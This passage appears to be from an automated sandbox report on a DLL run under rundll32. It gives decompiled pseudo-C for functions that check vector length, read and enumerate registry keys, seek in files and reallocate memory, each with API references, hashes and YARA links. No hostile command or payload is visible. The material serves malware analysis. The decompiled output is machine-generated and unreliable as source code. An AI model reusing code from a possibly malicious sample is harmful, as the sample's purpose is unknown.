Part of subcall function 000007FEF475892C: _CxxThrowException.LIBCMT ref: 000007FEF4758969

Strings

vector<T> too long, xrefs: 000007FEF4728CFE

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: ExceptionThrowXbad_allocstd::_
String ID: vector<T> too long
API String ID: 944563697-3788999226
Opcode ID: bf4cca545c61ab29866ad1871154215f52dcbafd131543caaa4d67c84948d34d
Instruction ID: 55a2db63fcf827ccf51196168a2ee7dfebee8c1e7d20a4f3399bec151fce9c18
Opcode Fuzzy Hash: bf4cca545c61ab29866ad1871154215f52dcbafd131543caaa4d67c84948d34d
Instruction Fuzzy Hash: 363117A2B1E685C2EE549B26E944AA8B2E1F7047E0F188231DF7D077F5DA7CE241C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47230C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E000007FE7FEF47230C0(signed int __eax, long long __rcx, unsigned int __rdx, long long __r8, void* _a8, long long _a16, long long _a24, long long _a32) {
				long long _v56;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t26;
				void* _t27;
				signed int _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t45;
				long long _t46;
				long long* _t47;
				unsigned long long _t51;
				void* _t52;
				long long _t64;
				long long _t66;
				unsigned long long _t71;
				void* _t73;
				long long _t75;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v56 = 0xfffffffe;
				_t46 = __rcx;
				if ((__rdx | 0x0000000f) - 0xfffffffe <= 0) goto 0xf47230f9;
				goto 0xf472312e;
				_t71 =  *((intOrPtr*)(__rcx + 0x18));
				_t51 = _t71 >> 1;
				_t28 = __eax * __rdx >> 0x20;
				if (_t51 - __rdx >> 1 <= 0) goto 0xf472312e;
				_t45 = 0xfffffffe - _t51;
				if (_t71 - _t45 > 0) goto 0xf472312e;
				_t11 = _t51 + _t71 + 1; // 0xffffffff
				_t52 = _t11;
				r14d = 0;
				if (_t52 == 0) goto 0xf4723153;
				if (_t52 - 0xffffffff > 0) goto 0xf472314d; // executed
				E000007FE7FEF4741BDC(_t45, _t52); // executed
				if (_t45 != 0) goto 0xf4723153;
				E000007FE7FEF475892C(_t27, _t28, _t29, _t31, _t45, _t46, _t51 + _t71, __r8, _t71, _t73);
				_t47 = _a8;
				_t66 = _a24;
				_t64 = _a16;
				_t75 = _a32;
				if (_t66 == 0) goto 0xf472318d;
				if ( *((long long*)(_t47 + 0x18)) - 0x10 < 0) goto 0xf472317a;
				goto 0xf472317d;
				if (_t66 == 0) goto 0xf472318d;
				E000007FE7FEF4740FC0(_t27, _t29, _t30, _t31, _t75, _t47, _t66);
				if ( *((long long*)(_t47 + 0x18)) - 0x10 < 0) goto 0xf472319c;
				_t26 = E000007FE7FEF4741974( *_t47);
				 *_t47 = 0;
				 *_t47 = _t75;
				 *((long long*)(_t47 + 0x18)) = _t64;
				 *((long long*)(_t47 + 0x10)) = _t66;
				if (_t64 - 0x10 < 0) goto 0xf47231b3;
				 *((char*)(_t75 + _t66)) = 0;
				return _t26;
			}

0x7fef47230c0
0x7fef47230c5
0x7fef47230ca
0x7fef47230d8
0x7fef47230e4
0x7fef47230f2
0x7fef47230f7
0x7fef47230f9
0x7fef4723100
0x7fef472310d
0x7fef4723116
0x7fef4723122
0x7fef4723128
0x7fef472312e
0x7fef472312e
0x7fef4723132
0x7fef4723138
0x7fef472313e
0x7fef4723140
0x7fef472314b
0x7fef472314d
0x7fef4723155
0x7fef472315a
0x7fef472315f
0x7fef4723164
0x7fef472316c
0x7fef4723173
0x7fef4723178
0x7fef4723180
0x7fef4723188
0x7fef4723192
0x7fef4723197
0x7fef472319c
0x7fef472319f
0x7fef47231a2
0x7fef47231a6
0x7fef47231ae
0x7fef47231b3
0x7fef47231c0

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF472314D

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 000007FEF47230D0

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocstd::_
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 3176948561-1713319389
Opcode ID: 6e4b387af6e9142051f3c3f6cacdd9e6727061daf359f298866b84c470665e74
Instruction ID: 8ceb31690b3c65916172061172f90f047a4a857162849675748c8512eea78ea3
Opcode Fuzzy Hash: 6e4b387af6e9142051f3c3f6cacdd9e6727061daf359f298866b84c470665e74
Instruction Fuzzy Hash: 5021A221A0EB42C1FA689A39D50077862D19701FF4F1487719E3D177F9DBBC96528740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF472EC40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF472EC40(long long __rax, long long __rbx, long long* __rcx, intOrPtr* __rdx, long long __rsi, long long _a24, long long _a32) {
				void* _t15;
				void* _t16;
				long long _t23;
				signed long long _t28;
				signed long long _t29;
				long long* _t36;

				_a24 = __rbx;
				_a32 = __rsi;
				_t36 = __rcx;
				 *__rcx = __rax;
				 *((long long*)(__rcx + 8)) = __rax;
				 *((long long*)(__rcx + 0x10)) = __rax;
				 *__rcx = __rax;
				 *((long long*)(__rcx + 8)) = __rax;
				_t28 =  *((intOrPtr*)(__rdx + 8)) -  *__rdx >> 4;
				 *((long long*)(__rcx + 0x10)) = __rax;
				if (_t28 == 0) goto 0xf472ecbe;
				if (_t28 - 0xffffffff > 0) goto 0xf472ecd1;
				_t29 = _t28 << 4;
				_t15 = E000007FE7FEF4741BDC(0xffffffff, _t29); // executed
				if (0xffffffff == 0) goto 0xf472ecde;
				 *_t36 = 0xffffffff;
				 *((long long*)(_t36 + 8)) = 0xffffffff;
				_t23 = 0xffffffff + _t29;
				 *((long long*)(_t36 + 0x10)) = _t23;
				_t16 = E000007FE7FEF4730CE0(_t15,  *__rdx,  *((intOrPtr*)(__rdx + 8)), 0xffffffff);
				 *((long long*)(_t36 + 8)) = _t23;
				return _t16;
			}

0x7fef472ec40
0x7fef472ec45
0x7fef472ec54
0x7fef472ec57
0x7fef472ec5a
0x7fef472ec5e
0x7fef472ec69
0x7fef472ec6c
0x7fef472ec70
0x7fef472ec74
0x7fef472ec7b
0x7fef472ec8a
0x7fef472ec8c
0x7fef472ec93
0x7fef472ec9e
0x7fef472eca0
0x7fef472eca3
0x7fef472eca7
0x7fef472ecaa
0x7fef472ecb5
0x7fef472ecba
0x7fef472ecd0

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF472ECDE

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Strings

vector<T> too long, xrefs: 000007FEF472ECD1

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocmallocstd::_
String ID: vector<T> too long
API String ID: 2095848892-3788999226
Opcode ID: e6059951238c1d609f02c3d4228bf33cd29c50a0f516647dd306cb3df99a513f
Instruction ID: 0ec934ada4a34c20cd4fd988136678c15ddf7a868b05a75d9a63aa1f39191ef2
Opcode Fuzzy Hash: e6059951238c1d609f02c3d4228bf33cd29c50a0f516647dd306cb3df99a513f
Instruction Fuzzy Hash: 3511563260BF85C5EA949F55E44025CB3E4F748B94B2886349BAC477E5EF78E562C340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4736BE0 Relevance: 3.2, APIs: 2, Instructions: 196
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E000007FE7FEF4736BE0(void* __edx, void* __edi, void* __eflags, long long __rbx, void* __rcx, long long __rdx, void* __r8, void* __r9, void* __r11) {
				void* __rsi;
				long _t95;
				long _t100;
				int _t108;
				void* _t112;
				void* _t113;
				signed long long _t138;
				long long _t152;
				signed long long _t165;
				signed long long _t183;
				void* _t186;
				void* _t193;
				void* _t195;
				signed long long _t196;
				intOrPtr* _t197;
				void* _t198;
				signed long long _t199;
				void* _t205;
				void* _t209;
				void* _t213;

				_t213 = __r9;
				_t113 = __eflags;
				_t197 = _t198 - 0x410;
				_t199 = _t198 - 0x510;
				 *((long long*)(_t199 + 0x40)) = 0xfffffffe;
				 *((long long*)(_t199 + 0x540)) = __rbx;
				_t138 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t197 + 0x400) = _t138 ^ _t199;
				_t152 = __rdx;
				_t195 = __rcx;
				 *((long long*)(_t199 + 0x38)) = __rdx;
				 *((intOrPtr*)(_t199 + 0x30)) = 0;
				 *((long long*)(__rdx + 0x18)) = 7;
				 *(__rdx + 0x10) = _t196;
				 *((short*)(__rdx)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(__rdx, __rdx, 0xf476ad38, _t196, __r8);
				 *((intOrPtr*)(_t199 + 0x30)) = 1;
				_t10 = _t195 + 0x240; // 0x240
				E000007FE7FEF47234E0(__edx, __edi, 0, _t113, _t152, _t197 - 0x48, _t10, _t213, __r11);
				 *((long long*)(_t197 - 0x70)) = 7;
				 *(_t197 - 0x78) = _t196;
				 *((short*)(_t199 + 0x78)) = 0;
				_t15 = _t196 + 0x20; // 0x20
				r8d = _t15;
				E000007FE7FEF4728590(_t199 + 0x78,  *((intOrPtr*)(_t197 - 0x38)));
				_t215 =  >=  ?  *((intOrPtr*)(_t199 + 0x78)) : _t199 + 0x78;
				_t181 =  >=  ?  *((void*)(_t197 - 0x48)) : _t197 - 0x48;
				_t141 =  *((intOrPtr*)(_t197 - 0x38)) + ( >=  ?  *((void*)(_t197 - 0x48)) : _t197 - 0x48);
				_t183 =  >=  ?  *((void*)(_t197 - 0x48)) : _t197 - 0x48;
				_t205 =  >  ? _t196 :  *((intOrPtr*)(_t197 - 0x38)) + ( >=  ?  *((void*)(_t197 - 0x48)) : _t197 - 0x48) - _t183;
				if (_t205 == 0) goto 0xf4736d01;
				asm("o16 nop [eax+eax]");
				 *((short*)( >=  ?  *((intOrPtr*)(_t199 + 0x78)) : _t199 + 0x78)) =  *_t183;
				if ( ~_t183 + _t183 + 1 != _t205) goto 0xf4736ce0;
				_t186 =  >=  ?  *((intOrPtr*)(_t199 + 0x78)) : _t199 + 0x78;
				 *((long long*)(_t199 + 0x20)) = _t199 + 0x48;
				r9d = 0x20019;
				r8d = 0;
				_t95 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t95 != 0) goto 0xf4736ece;
				 *((long long*)(_t197 - 0x10)) = 0xf;
				 *(_t197 - 0x18) = _t196;
				 *(_t197 - 0x28) = _t95;
				r8d = 0;
				E000007FE7FEF4722D50(_t152, _t197 - 0x28, 0xf476a763, _t196, _t205);
				 *((intOrPtr*)(_t199 + 0x50)) = 0x400;
				_t41 = _t195 + 0x260; // 0x260
				E000007FE7FEF47234E0(__edx, __edi, 0, _t95, _t152, _t197 - 0x68, _t41, ( >=  ?  *((intOrPtr*)(_t199 + 0x78)) : _t199 + 0x78) + 2,  *((intOrPtr*)(_t197 - 0x70)));
				 *((long long*)(_t199 + 0x70)) = 7;
				 *(_t199 + 0x68) = _t196;
				 *((short*)(_t199 + 0x58)) = 0;
				r8d = 0x20;
				E000007FE7FEF4728590(_t199 + 0x58,  *(_t197 - 0x58));
				_t218 =  >=  ?  *((intOrPtr*)(_t199 + 0x58)) : _t199 + 0x58;
				_t163 =  >=  ?  *((void*)(_t197 - 0x68)) : _t197 - 0x68;
				_t145 =  *(_t197 - 0x58) + ( >=  ?  *((void*)(_t197 - 0x68)) : _t197 - 0x68);
				_t165 =  >=  ?  *((void*)(_t197 - 0x68)) : _t197 - 0x68;
				_t209 =  >  ? _t196 :  *(_t197 - 0x58) + ( >=  ?  *((void*)(_t197 - 0x68)) : _t197 - 0x68) - _t165;
				if (_t209 == 0) goto 0xf4736e12;
				 *((short*)( >=  ?  *((intOrPtr*)(_t199 + 0x58)) : _t199 + 0x58)) =  *_t165;
				if ( ~_t165 + _t165 + 1 != _t209) goto 0xf4736df0;
				_t193 =  >=  ?  *((intOrPtr*)(_t199 + 0x58)) : _t199 + 0x58;
				 *((long long*)(_t199 + 0x28)) = _t199 + 0x50;
				 *((long long*)(_t199 + 0x20)) = _t197;
				r9d = 0;
				r8d = 0;
				_t100 = RegQueryValueExW(??, ??, ??, ??, ??, ??); // executed
				if (_t100 != 0) goto 0xf4736e78;
				if ( *_t197 != _t100) goto 0xf4736e52;
				goto 0xf4736e6b;
				asm("o16 nop [eax+eax]");
				if ( *((short*)(_t197 + ((_t196 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4736e60;
				E000007FE7FEF4728E10(_t152, _t152, _t197, _t196, (_t196 | 0xffffffff) + 1);
				if ( *((long long*)(_t199 + 0x70)) - 8 < 0) goto 0xf4736e8a;
				E000007FE7FEF4741974( *((intOrPtr*)(_t199 + 0x58)));
				 *((long long*)(_t199 + 0x70)) = 7;
				 *(_t199 + 0x68) = _t196;
				 *((short*)(_t199 + 0x58)) = 0;
				if ( *((long long*)(_t197 - 0x50)) - 0x10 < 0) goto 0xf4736ead;
				E000007FE7FEF4741974( *((intOrPtr*)(_t197 - 0x68)));
				 *((long long*)(_t197 - 0x50)) = 0xf;
				 *(_t197 - 0x58) = _t196;
				 *((char*)(_t197 - 0x68)) = 0;
				if ( *((long long*)(_t197 - 0x10)) - 0x10 < 0) goto 0xf4736ece;
				E000007FE7FEF4741974( *(_t197 - 0x28));
				if ( *((long long*)(_t197 - 0x70)) - 8 < 0) goto 0xf4736edf;
				E000007FE7FEF4741974( *((intOrPtr*)(_t199 + 0x78)));
				 *((long long*)(_t197 - 0x70)) = 7;
				 *(_t197 - 0x78) = _t196;
				 *((short*)(_t199 + 0x78)) = 0;
				if ( *((long long*)(_t197 - 0x30)) - 0x10 < 0) goto 0xf4736f00;
				E000007FE7FEF4741974( *((intOrPtr*)(_t197 - 0x48)));
				return E000007FE7FEF4740F90(_t108, __edi, 0, _t112,  *(_t197 + 0x400) ^ _t199, _t197, (_t196 | 0xffffffff) + 1);
			}

0x7fef4736be0
0x7fef4736be0
0x7fef4736be4
0x7fef4736bec
0x7fef4736bf3
0x7fef4736bfc
0x7fef4736c04
0x7fef4736c0e
0x7fef4736c15
0x7fef4736c18
0x7fef4736c1b
0x7fef4736c22
0x7fef4736c26
0x7fef4736c2e
0x7fef4736c32
0x7fef4736c35
0x7fef4736c42
0x7fef4736c47
0x7fef4736c4f
0x7fef4736c5a
0x7fef4736c60
0x7fef4736c68
0x7fef4736c6c
0x7fef4736c71
0x7fef4736c71
0x7fef4736c7e
0x7fef4736c96
0x7fef4736ca3
0x7fef4736cac
0x7fef4736cb8
0x7fef4736cc6
0x7fef4736ccd
0x7fef4736cd5
0x7fef4736ce3
0x7fef4736cf6
0x7fef4736d0a
0x7fef4736d13
0x7fef4736d18
0x7fef4736d1e
0x7fef4736d28
0x7fef4736d30
0x7fef4736d36
0x7fef4736d3e
0x7fef4736d42
0x7fef4736d45
0x7fef4736d53
0x7fef4736d59
0x7fef4736d61
0x7fef4736d6c
0x7fef4736d72
0x7fef4736d7b
0x7fef4736d80
0x7fef4736d85
0x7fef4736d94
0x7fef4736dad
0x7fef4736dba
0x7fef4736dc3
0x7fef4736dcf
0x7fef4736ddd
0x7fef4736de4
0x7fef4736df3
0x7fef4736e06
0x7fef4736e1b
0x7fef4736e24
0x7fef4736e2d
0x7fef4736e32
0x7fef4736e35
0x7fef4736e3d
0x7fef4736e45
0x7fef4736e4b
0x7fef4736e50
0x7fef4736e5a
0x7fef4736e69
0x7fef4736e72
0x7fef4736e7e
0x7fef4736e85
0x7fef4736e8a
0x7fef4736e93
0x7fef4736e98
0x7fef4736ea2
0x7fef4736ea8
0x7fef4736ead
0x7fef4736eb5
0x7fef4736eb9
0x7fef4736ec2
0x7fef4736ec8
0x7fef4736ed3
0x7fef4736eda
0x7fef4736edf
0x7fef4736ee7
0x7fef4736eeb
0x7fef4736ef5
0x7fef4736efb
0x7fef4736f24

APIs

RegOpenKeyExW.ADVAPI32 ref: 000007FEF4736D28
RegQueryValueExW.ADVAPI32 ref: 000007FEF4736E3D

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: OpenQueryValue
String ID:
API String ID: 4153817207-0
Opcode ID: d8b5cabfd07475b5e9324c5cbf788e9bdb536a4288fb290cab78100d8674a14c
Instruction ID: 8605c94e44f09184e5d2e2482fad860513aca497a935e4bdfc752800ade079e9
Opcode Fuzzy Hash: d8b5cabfd07475b5e9324c5cbf788e9bdb536a4288fb290cab78100d8674a14c
Instruction Fuzzy Hash: D891AB22B18B81C9FB10CBB4E8407AE77B1F744798F505222EB9C57AA9DB78D195CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4732840 Relevance: 3.1, APIs: 2, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E000007FE7FEF4732840(long long __rbx, void* __rcx, signed long long* __rdx, long long _a24) {
				signed int _v40;
				char _v568;
				intOrPtr _v576;
				long long _v584;
				long long _v592;
				long long _v600;
				signed long long _v608;
				char _v624;
				short _v632;
				signed long long _v640;
				signed long long _v648;
				signed long long _v656;
				signed long long _v664;
				void* __rdi;
				void* __rsi;
				long _t39;
				long _t43;
				int _t47;
				void* _t50;
				void* _t51;
				void* _t53;
				signed long long _t61;
				signed long long* _t78;
				signed long long _t80;
				signed long long _t81;

				_t65 = __rbx;
				_v592 = 0xfffffffe;
				_a24 = __rbx;
				_t61 =  *0xf4777530; // 0xf9634ebbaa1d
				_v40 = _t61 ^ _t81;
				_t78 = __rdx;
				_v584 = __rdx;
				_v632 = 0;
				 *__rdx = _t80;
				__rdx[1] = _t80;
				__rdx[2] = _t80;
				_v632 = 1;
				_v576 = 0x104;
				_v640 = _t80;
				_v648 = _t80;
				_v656 = _t80;
				_v664 = _t80;
				_t39 = RegEnumKeyExW(??, ??, ??, ??, ??, ??, ??, ??); // executed
				if (_t39 == 0x103) goto 0xf4732990;
				if (_t39 != 0) goto 0xf473294e;
				_v600 = 7;
				_v608 = _t80;
				_v624 = 0;
				if (_v568 != _t39) goto 0xf47328fa;
				goto 0xf473291b;
				asm("o16 nop [eax+eax]");
				if ( *((short*)( &_v568 + ((_t80 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4732910;
				E000007FE7FEF4728E10(__rbx,  &_v624,  &_v568, __rcx, (_t80 | 0xffffffff) + 1); // executed
				E000007FE7FEF4727FB0(_t65, _t78,  &_v624, _t78, __rcx); // executed
				if (_v600 - 8 < 0) goto 0xf473294e;
				E000007FE7FEF4741974(_v624);
				_v576 = 0x104;
				_v640 = _t80;
				_v648 = _t80;
				_v656 = _t80;
				_v664 = _t80;
				_t43 = RegEnumKeyExW(??, ??, ??, ??, ??, ??, ??, ??); // executed
				if (_t43 != 0x103) goto 0xf47328d4;
				return E000007FE7FEF4740F90(_t47, _t50, _t51, _t53, _v40 ^ _t81,  &_v624,  &_v568);
			}

0x7fef4732840
0x7fef473284b
0x7fef4732854
0x7fef473285c
0x7fef4732866
0x7fef473286e
0x7fef4732874
0x7fef473287b
0x7fef473287f
0x7fef4732882
0x7fef4732886
0x7fef473288a
0x7fef4732894
0x7fef473289c
0x7fef47328a1
0x7fef47328a6
0x7fef47328ab
0x7fef47328c3
0x7fef47328ce
0x7fef47328d6
0x7fef47328d8
0x7fef47328e1
0x7fef47328e6
0x7fef47328f3
0x7fef47328f8
0x7fef4732906
0x7fef4732919
0x7fef4732928
0x7fef4732936
0x7fef4732942
0x7fef4732949
0x7fef473294e
0x7fef4732958
0x7fef473295d
0x7fef4732962
0x7fef4732967
0x7fef473297f
0x7fef473298a
0x7fef47329b5

APIs

RegEnumKeyExW.ADVAPI32 ref: 000007FEF47328C3
RegEnumKeyExW.ADVAPI32 ref: 000007FEF473297F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: f25ab34e17a0e168b00089001d7b44b8838a710c17e2f06788343cc0ae0e945e
Instruction ID: 1d42f07d66db02f123bf603f011d11a74be536b26988a427c3880635566989ad
Opcode Fuzzy Hash: f25ab34e17a0e168b00089001d7b44b8838a710c17e2f06788343cc0ae0e945e
Instruction Fuzzy Hash: 5C31393260DB8586E7608F15F8847AAB7A4F3847A4F944225E7D843AF8CF3CE595CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473BB50 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E000007FE7FEF473BB50(void* __edx, void* __rcx, long long* __rdx, void* __r8) {
				void* _v48;
				long long _v56;
				void* __rbx;
				void* __rsi;
				void* _t22;
				int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				signed long long _t45;
				long long _t48;
				long long _t49;
				void* _t51;
				long long _t63;
				long long* _t64;
				void* _t66;
				void* _t70;

				_t45 =  *0xf4777530; // 0xf9634ebbaa1d
				_v48 = _t45 ^  &_v48;
				_t70 = __rcx + 0x80;
				_t32 = r9d;
				_t64 = __rdx;
				_t51 = __rcx;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38)))) != _t70) goto 0xf473bb96;
				if (r9d != 1) goto 0xf473bb96;
				if ( *((long long*)(__rcx + 0x78)) != 0) goto 0xf473bb96;
				_t66 = __r8 - 1;
				if ( *((long long*)(__rcx + 0x90)) == 0) goto 0xf473bc1c;
				if (E000007FE7FEF473D190(__edx, _t32, __rcx, __rcx, __rdx, _t66, __r8) == 0) goto 0xf473bc1c;
				if (_t66 != 0) goto 0xf473bbb3;
				if (_t32 == 1) goto 0xf473bbc9;
				r8d = _t32;
				_t22 = E000007FE7FEF4742AA4( *((intOrPtr*)(__rcx + 0x38)), __rcx,  *((intOrPtr*)(__rcx + 0x90)), _t66, _t66); // executed
				if (_t22 != 0) goto 0xf473bc1c;
				if (fgetpos(??, ??) != 0) goto 0xf473bc1c;
				_t48 =  *((intOrPtr*)(_t51 + 0x18));
				if ( *_t48 != _t70) goto 0xf473bc03;
				_t63 =  *((intOrPtr*)(_t51 + 0x68));
				 *_t48 = _t63;
				r8d = r8d - __edx;
				 *((long long*)( *((intOrPtr*)(_t51 + 0x38)))) = _t63;
				 *((intOrPtr*)( *((intOrPtr*)(_t51 + 0x50)))) = r8d;
				 *((long long*)(_t64 + 8)) = _v56;
				 *((intOrPtr*)(_t64 + 0x10)) =  *((intOrPtr*)(_t51 + 0x84));
				 *_t64 = _t48;
				goto 0xf473bc2f;
				_t49 =  *0xf4769c90; // 0xffffffffffffffff
				 *_t64 = _t49;
				 *((long long*)(_t64 + 8)) = _t49;
				 *((intOrPtr*)(_t64 + 0x10)) = 0;
				return E000007FE7FEF4740F90(_t27, _t30, _t31, _t33, _v48 ^  &_v48, _t63,  *((intOrPtr*)(_t51 + 0x70)));
			}

0x7fef473bb5b
0x7fef473bb65
0x7fef473bb6e
0x7fef473bb75
0x7fef473bb7b
0x7fef473bb7e
0x7fef473bb84
0x7fef473bb8a
0x7fef473bb91
0x7fef473bb93
0x7fef473bb9e
0x7fef473bba7
0x7fef473bbac
0x7fef473bbb1
0x7fef473bbba
0x7fef473bbc0
0x7fef473bbc7
0x7fef473bbdc
0x7fef473bbde
0x7fef473bbe5
0x7fef473bbe7
0x7fef473bbef
0x7fef473bbf6
0x7fef473bbf9
0x7fef473bc00
0x7fef473bc10
0x7fef473bc14
0x7fef473bc17
0x7fef473bc1a
0x7fef473bc1c
0x7fef473bc23
0x7fef473bc28
0x7fef473bc2c
0x7fef473bc49

APIs

_fseeki64.LIBCMT ref: 000007FEF473BBC0
fgetpos.LIBCMT ref: 000007FEF473BBD5

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: d32b2fc1cf2b170579fea3a93207045c63ed77cb600e9e62cfb1131ef99bb998
Instruction ID: 4655cc6a9e12ea0f0687e0c07b88f657439ca925c534fd2c5df4bc23f02ce381
Opcode Fuzzy Hash: d32b2fc1cf2b170579fea3a93207045c63ed77cb600e9e62cfb1131ef99bb998
Instruction Fuzzy Hash: 65310D3271AA45C5EBA18F26D54177973E4F788B88F548031DE8C877B5EF38E9A68340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF472E990 Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E000007FE7FEF472E990(signed int __edx, long long __rbx, void* __rcx, long long __rsi, long long _a8, long long _a16) {
				signed short _t33;
				void* _t37;
				signed int _t47;
				intOrPtr _t51;
				signed int _t52;
				intOrPtr _t56;

				_a16 = __rbx;
				_t51 =  *((intOrPtr*)(__rcx + 8));
				_t43 = __edx & 0x0000ffff;
				if ( *((intOrPtr*)(_t51 + 8)) != 6) goto 0xf472e9b0;
				_t47 =  *(_t51 + 0xc) & 0x00000004;
				if (_t47 == 0) goto 0xf472e9b5; // executed
				E000007FE7FEF4730C60(_t51, __rcx); // executed
				asm("bt eax, 0x8");
				if (_t47 >= 0) goto 0xf472e9cc;
				E000007FE7FEF472EB40(__edx & 0xffff, _t51, __rcx,  *((intOrPtr*)(__rcx + 0x18)));
				goto 0xf472e9de;
				asm("bt eax, 0xb");
				if (_t47 >= 0) goto 0xf472e9e1;
				_t33 = E000007FE7FEF472EA70(_t43 & 0x0000ffff,  *((intOrPtr*)(__rcx + 0x18)));
				_t56 =  *((intOrPtr*)(__rcx + 8));
				_a8 = __rsi;
				if ( *((intOrPtr*)(_t56 + 0x20)) -  *((intOrPtr*)(_t56 + 0x24)) > 0) goto 0xf472ea23;
				_t52 =  <  ? 0xffffffff : _t51;
				_t37 = realloc(??, ??);
				if (_t52 == 0) goto 0xf472ea41;
				 *(_t56 + 0x28) = _t52;
				 *((intOrPtr*)(_t56 + 0x20)) = _t51 + 0x10;
				 *((short*)( *(_t56 + 0x28) +  *(_t56 + 0x28) * 2)) = _t33 & 0x0000ffff;
